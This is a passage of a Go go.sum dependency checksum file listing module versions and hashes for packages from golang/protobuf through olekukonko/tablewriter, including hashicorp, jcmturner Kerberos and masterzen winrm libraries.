github.com/golang/protobuf v1.4.0-rc.1/go.mod h1:ceaxUfeHdC40wWswd/P6IGgMaK3YpKi5j83Wpe3EHw8=
github.com/golang/protobuf v1.4.0-rc.1.0.20200221234624-67d41d38c208/go.mod h1:xKAWHe0F5eneWXFV3EuXVDTCmh+JuBKY0li0aMyXATA=
github.com/golang/protobuf v1.4.0-rc.2/go.mod h1:LlEzMj4AhA7rCAGe4KMBDvJI+AwstrUpVNzEA03Pprs=
github.com/golang/protobuf v1.4.0-rc.4.0.20200313231945-b860323f09d0/go.mod h1:WU3c8KckQ9AFe+yFwt9sWVRKCVIyN9cPHBJSNnbL67w=
github.com/golang/protobuf v1.4.0/go.mod h1:jodUvKwWbYaEsadDk5Fwe5c77LiNKVO9IDvqG2KuDX0=
github.com/golang/protobuf v1.4.1/go.mod h1:U8fpvMrcmy5pZrNK1lt4xCsGvpyWQ/VVv6QDs8UjoX8=
github.com/golang/protobuf v1.4.2/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI=
github.com/golang/protobuf v1.4.3/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI=
github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk=
github.com/golang/protobuf v1.5.1/go.mod h1:DopwsBzvsk0Fs44TXzsVbJyPhcCPeIwnvohx4u74HPM=
github.com/golang/protobuf v1.5.2/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY=
github.com/golang/snappy v0.0.3/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q=
github.com/gomodule/redigo v1.8.4/go.mod h1:P9dn9mFrCBvWhGE1wpxx6fgq7BAeLBk+UUUzlpkBYO0=
github.com/google/btree v0.0.0-20180813153112-4030bb1f1f0c/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ=
github.com/google/btree v1.0.0/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ=
github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M=
github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=
github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=
github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/go-cmp v0.4.1/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/go-cmp v0.5.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/go-cmp v0.5.1/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/go-cmp v0.5.2/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/go-cmp v0.5.3/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/go-cmp v0.5.4/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/go-cmp v0.5.6 h1:BKbKCqvP6I+rmFHt06ZmyQtvB8xAkWdhFyr0ZUNZcxQ=
github.com/google/go-cmp v0.5.6/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg=
github.com/google/gxui v0.0.0-20151028112939-f85e0a97b3a4/go.mod h1:Pw1H1OjSNHiqeuxAduB1BKYXIwFtsyrY47nEqSgEiCM=
github.com/google/martian v2.1.0+incompatible/go.mod h1:9I4somxYTbIHy5NJKHRl3wXiIaQGbYVAs8BPL6v8lEs=
github.com/google/martian/v3 v3.0.0/go.mod h1:y5Zk1BBys9G+gd6Jrk0W3cC1+ELVxBWuIGO+w/tUAp0=
github.com/google/martian/v3 v3.1.0/go.mod h1:y5Zk1BBys9G+gd6Jrk0W3cC1+ELVxBWuIGO+w/tUAp0=
github.com/google/martian/v3 v3.2.1/go.mod h1:oBOf6HBosgwRXnUGWUB05QECsc6uvmMiJ3+6W4l/CUk=
github.com/google/pprof v0.0.0-20181206194817-3ea8567a2e57/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc=
github.com/google/pprof v0.0.0-20190515194954-54271f7e092f/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc=
github.com/google/pprof v0.0.0-20191218002539-d4f498aebedc/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM=
github.com/google/pprof v0.0.0-20200212024743-f11f1df84d12/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM=
github.com/google/pprof v0.0.0-20200229191704-1ebb73c60ed3/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM=
github.com/google/pprof v0.0.0-20200430221834-fc25d7d30c6d/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM=
github.com/google/pprof v0.0.0-20200708004538-1a94d8640e99/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM=
github.com/google/pprof v0.0.0-20201023163331-3e6fc7fc9c4c/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE=
github.com/google/pprof v0.0.0-20201203190320-1bf35d6f28c2/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE=
github.com/google/pprof v0.0.0-20210122040257-d980be63207e/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE=
github.com/google/pprof v0.0.0-20210226084205-cbba55b83ad5/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE=
github.com/google/pprof v0.0.0-20210601050228-01bbb1931b22/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE=
github.com/google/pprof v0.0.0-20210609004039-a478d1d731e9/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE=
github.com/google/pprof v0.0.0-20210720184732-4bb14d4b1be1/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE=
github.com/google/renameio v0.1.0/go.mod h1:KWCgfxg9yswjAJkECMjeO8J8rahYeXnNhOm40UhjYkI=
github.com/google/uuid v1.1.2/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
github.com/googleapis/gax-go/v2 v2.0.4/go.mod h1:0Wqv26UfaUD9n4G6kQubkQ+KchISgw+vpHVxEJEs9eg=
github.com/googleapis/gax-go/v2 v2.0.5/go.mod h1:DWXyrwAJ9X0FpwwEdw+IPEYBICEFu5mhpdKc/us6bOk=
github.com/googleapis/gax-go/v2 v2.1.0/go.mod h1:Q3nei7sK6ybPYH7twZdmQpAd1MKb7pfu6SK+H1/DsU0=
github.com/googleapis/gax-go/v2 v2.1.1/go.mod h1:hddJymUZASv3XPyGkUpKj8pPO47Rmb0eJc8R6ouapiM=
github.com/googollee/go-socket.io v1.6.0/go.mod h1:0vGP8/dXR9SZUMMD4+xxaGo/lohOw3YWMh2WRiWeKxg=
github.com/gopherjs/gopherjs v0.0.0-20181017120253-0766667cb4d1/go.mod h1:wJfORRmW1u3UXTncJ5qlYoELFm8eSnnEO6hX4iZ3EWY=
github.com/gopherjs/gopherjs v0.0.0-20210621113107-84c6004145de/go.mod h1:MtKwTfDNYAP5EtbQSMYjTSqvj1aXJKQRASWq3bwaP+g=
github.com/gorilla/securecookie v1.1.1 h1:miw7JPhV+b/lAHSXz4qd/nN9jRiAFV5FwjeKyCS8BvQ=
github.com/gorilla/securecookie v1.1.1/go.mod h1:ra0sb63/xPlUeL+yeDciTfxMRAA+MP+HVt/4epWDjd4=
github.com/gorilla/sessions v1.2.1 h1:DHd3rPN5lE3Ts3D8rKkQ8x/0kqfeNmBAaiSi+o7FsgI=
github.com/gorilla/sessions v1.2.1/go.mod h1:dk2InVEVJ0sfLlnXv9EAgkf6ecYs/i80K/zI+bUmuGM=
github.com/gorilla/websocket v1.4.2/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
github.com/goxjs/gl v0.0.0-20210104184919-e3fafc6f8f2a/go.mod h1:dy/f2gjY09hwVfIyATps4G2ai7/hLwLkc5TrPqONuXY=
github.com/goxjs/glfw v0.0.0-20191126052801-d2efb5f20838/go.mod h1:oS8P8gVOT4ywTcjV6wZlOU4GuVFQ8F5328KY3MJ79CY=
github.com/grpc-ecosystem/go-grpc-middleware v1.0.0/go.mod h1:FiyG127CGDf3tlThmgyCl78X/SZQqEOJBCDaAfeWzPs=
github.com/grpc-ecosystem/go-grpc-prometheus v1.2.0/go.mod h1:8NvIoxWQoOIhqOTXgfV/d3M/q6VIi02HzZEHgUlZvzk=
github.com/grpc-ecosystem/grpc-gateway v1.9.0/go.mod h1:vNeuVxBJEsws4ogUvrchl83t/GYV9WGTSLVdBhOQFDY=
github.com/grpc-ecosystem/grpc-gateway v1.16.0/go.mod h1:BDjrQk3hbvj6Nolgz8mAMFbcEtjT1g+wF4CSlocrBnw=
github.com/hashicorp/consul/api v1.1.0/go.mod h1:VmuI/Lkw1nC05EYQWNKwWGbkg+FbDBtguAZLlVdkD9Q=
github.com/hashicorp/consul/api v1.11.0/go.mod h1:XjsvQN+RJGWI2TWy1/kqaE16HrR2J/FWgkYjdZQsX9M=
github.com/hashicorp/consul/sdk v0.1.1/go.mod h1:VKf9jXwCTEY1QZP2MOLRhb5i/I/ssyNV1vwHyQBF0x8=
github.com/hashicorp/consul/sdk v0.8.0/go.mod h1:GBvyrGALthsZObzUGsfgHZQDXjg4lOjagTIwIR1vPms=
github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4=
github.com/hashicorp/go-cleanhttp v0.5.0/go.mod h1:JpRdi6/HCYpAwUzNwuwqhbovhLtngrth3wmdIIUrZ80=
github.com/hashicorp/go-cleanhttp v0.5.1/go.mod h1:JpRdi6/HCYpAwUzNwuwqhbovhLtngrth3wmdIIUrZ80=
github.com/hashicorp/go-cleanhttp v0.5.2/go.mod h1:kO/YDlP8L1346E6Sodw+PrpBSV4/SoxCXGY6BqNFT48=
github.com/hashicorp/go-hclog v0.12.0/go.mod h1:whpDNt7SSdeAju8AWKIWsul05p54N/39EeqMAyrmvFQ=
github.com/hashicorp/go-hclog v1.0.0/go.mod h1:whpDNt7SSdeAju8AWKIWsul05p54N/39EeqMAyrmvFQ=
github.com/hashicorp/go-immutable-radix v1.0.0/go.mod h1:0y9vanUI8NX6FsYoO3zeMjhV/C5i9g4Q3DwcSNZ4P60=
github.com/hashicorp/go-immutable-radix v1.3.1/go.mod h1:0y9vanUI8NX6FsYoO3zeMjhV/C5i9g4Q3DwcSNZ4P60=
github.com/hashicorp/go-msgpack v0.5.3/go.mod h1:ahLV/dePpqEmjfWmKiqvPkv/twdG7iPBM1vqhUKIvfM=
github.com/hashicorp/go-multierror v1.0.0/go.mod h1:dHtQlpGsu+cZNNAkkCN/P3hoUDHhCYQXV3UM06sGGrk=
github.com/hashicorp/go-multierror v1.1.0/go.mod h1:spPvp8C1qA32ftKqdAHm4hHTbPw+vmowP0z+KUhOZdA=
github.com/hashicorp/go-retryablehttp v0.5.3/go.mod h1:9B5zBasrRhHXnJnui7y6sL7es7NDiJgTc6Er0maI1Xs=
github.com/hashicorp/go-rootcerts v1.0.0/go.mod h1:K6zTfqpRlCUIjkwsN4Z+hiSfzSTQa6eBIzfwKfwNnHU=
github.com/hashicorp/go-rootcerts v1.0.2/go.mod h1:pqUvnprVnM5bf7AOirdbb01K4ccR319Vf4pU3K5EGc8=
github.com/hashicorp/go-sockaddr v1.0.0/go.mod h1:7Xibr9yA9JjQq1JpNB2Vw7kxv8xerXegt+ozgdvDeDU=
github.com/hashicorp/go-syslog v1.0.0/go.mod h1:qPfqrKkXGihmCqbJM2mZgkZGvKG1dFdvsLplgctolz4=
github.com/hashicorp/go-uuid v1.0.0/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro=
github.com/hashicorp/go-uuid v1.0.1/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro=
github.com/hashicorp/go-uuid v1.0.2 h1:cfejS+Tpcp13yd5nYHWDI6qVCny6wyX2Mt5SGur2IGE=
github.com/hashicorp/go-uuid v1.0.2/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro=
github.com/hashicorp/go.net v0.0.1/go.mod h1:hjKkEWcCURg++eb33jQU7oqQcI9XDCnUzHA0oac0k90=
github.com/hashicorp/golang-lru v0.5.0/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8=
github.com/hashicorp/golang-lru v0.5.1/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8=
github.com/hashicorp/golang-lru v0.5.4/go.mod h1:iADmTwqILo4mZ8BN3D2Q6+9jd8WM5uGBxy+E8yxSoD4=
github.com/hashicorp/hcl v1.0.0/go.mod h1:E5yfLk+7swimpb2L/Alb/PJmXilQ/rhwaUYs4T20WEQ=
github.com/hashicorp/logutils v1.0.0/go.mod h1:QIAnNjmIWmVIIkWDTG1z5v++HQmx9WQRO+LraFDTW64=
github.com/hashicorp/mdns v1.0.0/go.mod h1:tL+uN++7HEJ6SQLQ2/p+z2pH24WQKWjBPkE0mNTz8vQ=
github.com/hashicorp/mdns v1.0.1/go.mod h1:4gW7WsVCke5TE7EPeYliwHlRUyBtfCwuFwuMg2DmyNY=
github.com/hashicorp/mdns v1.0.4/go.mod h1:mtBihi+LeNXGtG8L9dX59gAEa12BDtBQSp4v/YAJqrc=
github.com/hashicorp/memberlist v0.1.3/go.mod h1:ajVTdAv/9Im8oMAAj5G31PhhMCZJV2pPBoIllUwCN7I=
github.com/hashicorp/memberlist v0.2.2/go.mod h1:MS2lj3INKhZjWNqd3N0m3J+Jxf3DAOnAH9VT3Sh9MUE=
github.com/hashicorp/memberlist v0.3.0/go.mod h1:MS2lj3INKhZjWNqd3N0m3J+Jxf3DAOnAH9VT3Sh9MUE=
github.com/hashicorp/serf v0.8.2/go.mod h1:6hOLApaqBFA1NXqRQAsxw9QxuDEvNxSQRwA/JwenrHc=
github.com/hashicorp/serf v0.9.5/go.mod h1:UWDWwZeL5cuWDJdl0C6wrvrUwEqtQ4ZKBKKENpqIUyk=
github.com/hashicorp/serf v0.9.6/go.mod h1:TXZNMjZQijwlDvp+r0b63xZ45H7JmCmgg4gpTwn9UV4=
github.com/huin/asn1ber v0.0.0-20120622192748-af09f62e6358 h1:hVXNJ57IHkOA8FBq80UG263MEBwNUMfS9c82J2QE5UQ=
github.com/huin/asn1ber v0.0.0-20120622192748-af09f62e6358/go.mod h1:qBE210J2T9uLXRB3GNc73SvZACDEFAmDCOlDkV47zbY=
github.com/iancoleman/strcase v0.2.0/go.mod h1:iwCmte+B7n89clKwxIoIXy/HfoL7AsD47ZCWhYzw7ho=
github.com/ianlancetaylor/demangle v0.0.0-20181102032728-5e5cf60278f6/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc=
github.com/ianlancetaylor/demangle v0.0.0-20200824232613-28f6c0f3b639/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc=
github.com/icodeface/tls v0.0.0-20190904083142-17aec93c60e5 h1:ZcsPFW8UgACapqjcrBJx0PuyT4ppArO5VFn0vgnkvmc=
github.com/icodeface/tls v0.0.0-20190904083142-17aec93c60e5/go.mod h1:VJNHW2GxCtQP/IQtXykBIPBV8maPJ/dHWirVTwm9GwY=
github.com/inconshreveable/mousetrap v1.0.0 h1:Z8tu5sraLXCXIcARxBp/8cbvlwVa7Z1NHg9XEKhtSvM=
github.com/inconshreveable/mousetrap v1.0.0/go.mod h1:PxqpIevigyE2G7u3NXJIT2ANytuPF1OarO4DADm73n8=
github.com/jcmturner/aescts/v2 v2.0.0 h1:9YKLH6ey7H4eDBXW8khjYslgyqG2xZikXP0EQFKrle8=
github.com/jcmturner/aescts/v2 v2.0.0/go.mod h1:AiaICIRyfYg35RUkr8yESTqvSy7csK90qZ5xfvvsoNs=
github.com/jcmturner/dnsutils/v2 v2.0.0 h1:lltnkeZGL0wILNvrNiVCR6Ro5PGU/SeBvVO/8c/iPbo=
github.com/jcmturner/dnsutils/v2 v2.0.0/go.mod h1:b0TnjGOvI/n42bZa+hmXL+kFJZsFT7G4t3HTlQ184QM=
github.com/jcmturner/gofork v1.0.0 h1:J7uCkflzTEhUZ64xqKnkDxq3kzc96ajM1Gli5ktUem8=
github.com/jcmturner/gofork v1.0.0/go.mod h1:MK8+TM0La+2rjBD4jE12Kj1pCCxK7d2LK/UM3ncEo0o=
github.com/jcmturner/goidentity/v6 v6.0.1 h1:VKnZd2oEIMorCTsFBnJWbExfNN7yZr3EhJAxwOkZg6o=
github.com/jcmturner/goidentity/v6 v6.0.1/go.mod h1:X1YW3bgtvwAXju7V3LCIMpY0Gbxyjn/mY9zx4tFonSg=
github.com/jcmturner/gokrb5/v8 v8.4.2 h1:6ZIM6b/JJN0X8UM43ZOM6Z4SJzla+a/u7scXFJzodkA=
github.com/jcmturner/gokrb5/v8 v8.4.2/go.mod h1:sb+Xq/fTY5yktf/VxLsE3wlfPqQjp0aWNYyvBVK62bc=
github.com/jcmturner/rpc/v2 v2.0.3 h1:7FXXj8Ti1IaVFpSAziCZWNzbNuZmnvw/i6CqLNdWfZY=
github.com/jcmturner/rpc/v2 v2.0.3/go.mod h1:VUJYCIDm3PVOEHw8sgt091/20OJjskO/YJki3ELg/Hc=
github.com/jlaffaye/ftp v0.0.0-20211117213618-11820403398b h1:Ur6QAxsHCK99Quj9PaWafoV4unb0DO/HWiKExD+TN5g=
github.com/jlaffaye/ftp v0.0.0-20211117213618-11820403398b/go.mod h1:2lmrmq866uF2tnje75wQHzmPXhmSWUt7Gyx2vgK1RCU=
github.com/jonboulle/clockwork v0.1.0/go.mod h1:Ii8DK3G1RaLaWxj9trq07+26W01tbo22gdxWY5EU2bo=
github.com/json-iterator/go v1.1.6/go.mod h1:+SdeFBvtyEkXs7REEP0seUULqWtbJapLOCVDaaPEHmU=
github.com/json-iterator/go v1.1.9/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4=
github.com/json-iterator/go v1.1.11/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4=
github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo=
github.com/jstemmer/go-junit-report v0.0.0-20190106144839-af01ea7f8024/go.mod h1:6v2b51hI/fHJwM22ozAgKL4VKDeJcHhJFhtBdhmNjmU=
github.com/jstemmer/go-junit-report v0.9.1/go.mod h1:Brl9GWCQeLvo8nXZwPNNblvFj/XSXhF0NWZEnDohbsk=
github.com/jtolds/gls v4.20.0+incompatible/go.mod h1:QJZ7F/aHp+rZTRtaJ1ow/lLfFfVYBRgL+9YlvaHOwJU=
github.com/julienschmidt/httprouter v1.2.0/go.mod h1:SYymIcj16QtmaHHD7aYtjjsJG7VTCxuUUipMqKk8s4w=
github.com/kisielk/errcheck v1.1.0/go.mod h1:EZBBE59ingxPouuu3KfxchcWSUPOHkagtvWXihfKN4Q=
github.com/kisielk/errcheck v1.5.0/go.mod h1:pFxgyoBC7bSaBwPgfKdkLd5X25qrDl4LWUI2bnpBCr8=
github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck=
github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ=
github.com/kr/fs v0.1.0/go.mod h1:FFnZGqtBN9Gxj7eW1uZ42v5BccTP0vu6NEaFoC2HwRg=
github.com/kr/logfmt v0.0.0-20140226030751-b84e30acd515/go.mod h1:+0opPa2QZZtGFBFZlji/RkVcI2GknAs/DXo4wKdlNEc=
github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo=
github.com/kr/pretty v0.2.0 h1:s5hAObm+yFO5uHYt5dYjxi2rXrsnmRpJx4OYvIWUaQs=
github.com/kr/pretty v0.2.0/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI=
github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
github.com/kr/text v0.1.0 h1:45sCR5RtlFHMR4UwH9sdQ5TC8v0qDQCHnXt+kaKSTVE=
github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI=
github.com/lib/pq v1.10.4 h1:SO9z7FRPzA03QhHKJrH5BXA6HU1rS4V2nIVrrNC1iYk=
github.com/lib/pq v1.10.4/go.mod h1:AlVN5x4E4T544tWzH6hKfbfQvm3HdbOxrmggDNAPY9o=
github.com/lunixbochs/struc v0.0.0-20200707160740-784aaebc1d40 h1:EnfXoSqDfSNJv0VBNqY/88RNnhSGYkrHaO0mmFGbVsc=
github.com/lunixbochs/struc v0.0.0-20200707160740-784aaebc1d40/go.mod h1:vy1vK6wD6j7xX6O6hXe621WabdtNkou2h7uRtTfRMyg=
github.com/lyft/protoc-gen-star v0.5.3/go.mod h1:V0xaHgaf5oCCqmcxYcWiDfTiKsZsRc87/1qhoTACD8w=
github.com/magiconair/properties v1.8.1/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ=
github.com/magiconair/properties v1.8.5/go.mod h1:y3VJvCyxH9uVvJTWEGAELF3aiYNyPKd5NZ3oSwXrF60=
github.com/masterzen/simplexml v0.0.0-20190410153822-31eea3082786 h1:2ZKn+w/BJeL43sCxI2jhPLRv73oVVOjEKZjKkflyqxg=
github.com/masterzen/simplexml v0.0.0-20190410153822-31eea3082786/go.mod h1:kCEbxUJlNDEBNbdQMkPSp6yaKcRXVI6f4ddk8Riv4bc=
github.com/masterzen/winrm v0.0.0-20211231115050-232efb40349e h1:au+BndCo30p6G49xKTj1ZigvPn/ekiO2Gt+V+pbujfQ=
github.com/masterzen/winrm v0.0.0-20211231115050-232efb40349e/go.mod h1:Iju3u6NzoTAvjuhsGCZc+7fReNnr/Bd6DsWj3WTokIU=
github.com/mattn/go-colorable v0.0.9/go.mod h1:9vuHe8Xs5qXnSaW/c/ABM9alt+Vo+STaOChaDxuIBZU=
github.com/mattn/go-colorable v0.1.4/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE=
github.com/mattn/go-colorable v0.1.6/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
github.com/mattn/go-colorable v0.1.8/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
github.com/mattn/go-colorable v0.1.9/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
github.com/mattn/go-colorable v0.1.12 h1:jF+Du6AlPIjs2BiUiQlKOX0rt3SujHxPnksPKZbaA40=
github.com/mattn/go-colorable v0.1.12/go.mod h1:u5H1YNBxpqRaxsYJYSkiCWKzEfiAb1Gb520KVy5xxl4=
github.com/mattn/go-isatty v0.0.3/go.mod h1:M+lRXTBqGeGNdLjl/ufCoiOlB5xdOkqRJdNxMWT7Zi4=
github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s=
github.com/mattn/go-isatty v0.0.10/go.mod h1:qgIWMr58cqv1PHHyhnkY9lrL7etaEgOFcMEpPG5Rm84=
github.com/mattn/go-isatty v0.0.11/go.mod h1:PhnuNfih5lzO57/f3n+odYbM4JtupLOxQOAqxQCu2WE=
github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
github.com/mattn/go-isatty v0.0.14 h1:yVuAays6BHfxijgZPzw+3Zlu5yQgKGP2/hcQbHb7S9Y=
github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94=
github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI=
github.com/mattn/go-runewidth v0.0.12/go.mod h1:RAqKPSqVFrSLVXbA8x7dzmKdmGzieGRCM46jaSJTDAk=
github.com/mattn/go-runewidth v0.0.13 h1:lTGmDsbAYt5DmK6OnoV7EuIF1wEIFAcxld6ypU4OSgU=
github.com/mattn/go-runewidth v0.0.13/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w=
github.com/matttproud/golang_protobuf_extensions v1.0.1/go.mod h1:D8He9yQNgCq6Z5Ld7szi9bcBfOoFv/3dc6xSMkL2PC0=
github.com/miekg/dns v1.0.14/go.mod h1:W1PPwlIAgtquWBMBEV9nkV9Cazfe8ScdGz/Lj7v3Nrg=
github.com/miekg/dns v1.1.26/go.mod h1:bPDLeHnStXmXAq1m/Ch/hvfNHr14JKNPMBo3VZKjuso=
github.com/miekg/dns v1.1.41/go.mod h1:p6aan82bvRIyn+zDIv9xYNUpwa73JcSh9BKwknJysuI=
github.com/mitchellh/cli v1.0.0/go.mod h1:hNIlj7HEI86fIcpObd7a0FcrxTWetlwJDGcceTlRvqc=
github.com/mitchellh/cli v1.1.0/go.mod h1:xcISNoH86gajksDmfB23e/pu+B+GeFRMYmoHXxx3xhI=
github.com/mitchellh/go-homedir v1.0.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0=
github.com/mitchellh/go-homedir v1.1.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0=
github.com/mitchellh/go-testing-interface v1.0.0/go.mod h1:kRemZodwjscx+RGhAo8eIhFbs2+BFgRtFPeD/KE+zxI=
github.com/mitchellh/gox v0.4.0/go.mod h1:Sd9lOJ0+aimLBi73mGofS1ycjY8lL3uZM3JPS42BGNg=
github.com/mitchellh/iochan v1.0.0/go.mod h1:JwYml1nuB7xOzsp52dPpHFffvOCDupsG0QubkSMEySY=
github.com/mitchellh/mapstructure v0.0.0-20160808181253-ca63d7c062ee/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y=
github.com/mitchellh/mapstructure v1.1.2/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y=
github.com/mitchellh/mapstructure v1.4.3/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo=
github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=
github.com/modern-go/reflect2 v0.0.0-20180701023420-4b7aa43c6742/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0=
github.com/modern-go/reflect2 v1.0.1/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0=
github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk=
github.com/mwitkow/go-conntrack v0.0.0-20161129095857-cc309e4a2223/go.mod h1:qRWi+5nqEBWmkhHvq77mSJWrCKwh8bxhgT7d/eI7P4U=
github.com/neelance/astrewrite v0.0.0-20160511093645-99348263ae86/go.mod h1:kHJEU3ofeGjhHklVoIGuVj85JJwZ6kWPaJwCIxgnFmo=
github.com/neelance/sourcemap v0.0.0-20200213170602-2833bce08e4c/go.mod h1:Qr6/a/Q4r9LP1IltGz7tA7iOK1WonHEYhu1HRBA7ZiM=
github.com/oklog/ulid v1.3.1/go.mod h1:CirwcVhetQ6Lv90oh/F+FBtV6XMibvdAFo93nm5qn4U=
github.com/olekukonko/tablewriter v0.0.5 h1:P2Ga83D34wi1o9J6Wh1mRuqd4mF/x/lgBS7N7AbDhec=
github.com/olekukonko/tablewriter v0.0.5/go.mod h1:hPp6KlRPjbx+hW8ykQs1w3UBbZlj6HuIJcUGPhkA7kY=
